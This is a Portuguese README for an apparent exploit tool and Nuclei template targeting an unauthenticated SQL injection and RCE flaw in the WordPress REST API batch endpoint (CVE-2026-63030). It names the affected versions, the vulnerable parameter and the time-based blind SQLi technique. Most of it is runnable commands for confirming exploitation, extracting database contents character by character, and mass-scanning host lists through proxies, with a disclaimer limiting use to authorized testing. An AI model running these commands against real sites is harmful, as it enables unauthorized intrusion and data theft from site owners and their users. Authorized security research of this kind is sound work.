
Exploit de prova de conceito para a vulnerabilidade CVE-2026-63030, demonstrando técnicas de exploração para pesquisa e teste de segurança.
Ferramenta de deteção e exploração não autenticada para a vulnerabilidade de confusão de lotes (batch-confusion) do núcleo do WordPress (CVE-2026-63030 / CVE-2026-60137), que conduz a injeção SQL e execução remota de código (RCE) através do endpoint de lotes da REST API.
⚠️ Apenas para testes de segurança autorizados e fins educativos. Consulte o Aviso legal abaixo.
As versões afetadas do WordPress expõem o endpoint de lotes da REST API em:
POST /wp-json/batch/v1, ouPOST /?rest_route=/batch/v1 (alternativa quando os permalinks amigáveis / wp-json estão desativados)Através de uma falha de confusão de lotes, os subpedidos aninhados dentro de um corpo de lote são
processados sem a devida autorização, permitindo que um atacante não autenticado
injete SQL (por exemplo, através do parâmetro author_exclude) e, em última análise, alcance RCE.
Este repositório disponibiliza:
| Ficheiro | Finalidade |
|---|---|
cve-2026-63030.py | CLI em Python — deteção de versão, resolução do endpoint de lotes, confirmação de SQLi cega baseada em SLEEP e extração de dados com --query. Suporta varrimento em massa, threads e proxies. |
cve-2026-63030.yaml | Template Nuclei — verificação passiva de versão + deteção ativa de SQLi baseada em tempo em ambas as variantes de endpoint. |
| Ramo | Intervalo afetado |
|---|---|
| 6.8.x | 6.8.0 – 6.8.5 |
| 6.9.x | 6.9.0 – 6.9.4 |
| 7.0.x | 7.0.0 – 7.0.1 |
Corrigido em 6.8.6, 6.9.5 e 7.0.2.
requestsbeautifulsoup4pip install requests beautifulsoup4
python3 cve-2026-63030.py [options]
| Flag | Descrição |
|---|---|
-u, --url URL | URL de destino única. |
-l, --list FILE | Arquivo de URLs de destino (uma por linha; comentários com # permitidos) para varredura em massa. |
-p, --proxy URL | Encaminha as requisições através de um proxy (ex.: http://127.0.0.1:8080). |
-t, --threads N | Concorrência para o modo em massa (padrão 10). |
-q, --query SQL | SQL a ser exfiltrado via injeção cega baseada em tempo, ex.: "select @@version". |
--exploit | Dispara o payload SLEEP para confirmar a exploração. |
--delay SEC | Janela de SLEEP para SQLi cega (padrão 2). |
--timeout SEC | Tempo limite por requisição (padrão 10). |
--silent | Suprime o banner. |
-u/--url e -l/--list são mutuamente exclusivos.
# 1. Detect whether a single target is vulnerable (version + batch endpoint)
python3 cve-2026-63030.py -u http://target.tld/
# 2. Route through Burp/ZAP
python3 cve-2026-63030.py -u http://target.tld/ -p http://127.0.0.1:8080
# 3. Confirm exploitation via the SLEEP payload
python3 cve-2026-63030.py -u http://target.tld/ --exploit --delay 5
# 4. Exfiltrate data through time-based blind SQLi
python3 cve-2026-63030.py -u http://target.tld/ -q "select @@version"
python3 cve-2026-63030.py -u http://target.tld/ -q "select user()"
# 5. Bulk scan a list of hosts and extract DB version from each vulnerable one
python3 cve-2026-63030.py -l hosts.txt -t 20 -q "select @@version"
<meta name="generator"> e a verifica
em relação aos intervalos afetados./wp-json/batch/v1 primeiro, recorrendo a
/?rest_route=/batch/v1 apenas se o primeiro não responder.--exploit envia um payload SLEEP(n) e verifica se a
resposta realmente atrasa (duration >= delay).--query exfiltra um resultado caractere a caractere via
busca binária (IF(ASCII(SUBSTRING(...)), SLEEP(n), 0)).# Validate
nuclei -tl -t cve-2026-63030.yaml
# Scan
nuclei -t cve-2026-63030.yaml -l hosts.txt
nuclei -t cve-2026-63030.yaml -u http://target.tld/
O template testa ambas as variantes de endpoint e confirma SQLi baseada em tempo via
duration >= 5, condicionada a uma versão do WordPress afetada.
Este projeto é fornecido estritamente para fins educacionais e testes de segurança autorizados. Você só pode usá-lo contra sistemas que possui ou para os quais tem permissão explícita e por escrito para testar (por exemplo, um escopo de teste de intrusão, um programa de bug bounty ou um CTF).
A varredura ou exploração não autorizada de sistemas que você não possui ou não está autorizado a testar é ilegal e pode constituir uma infração criminal sob leis de uso indevido de computadores (por exemplo, a CFAA nos EUA, o Computer Misuse Act no Reino Unido e estatutos equivalentes em outros lugares).
Os autores e contribuidores não assumem nenhuma responsabilidade e não aceitam nenhuma responsabilidade por qualquer dano, perda de dados ou consequências legais decorrentes do uso ou uso indevido deste software. Ao usar esta ferramenta, você declara que seu uso é lícito e que assume todos os riscos associados.
Em caso de dúvida, não o execute.
0xh7ml — fornecido como está, para pesquisa defensiva e educação.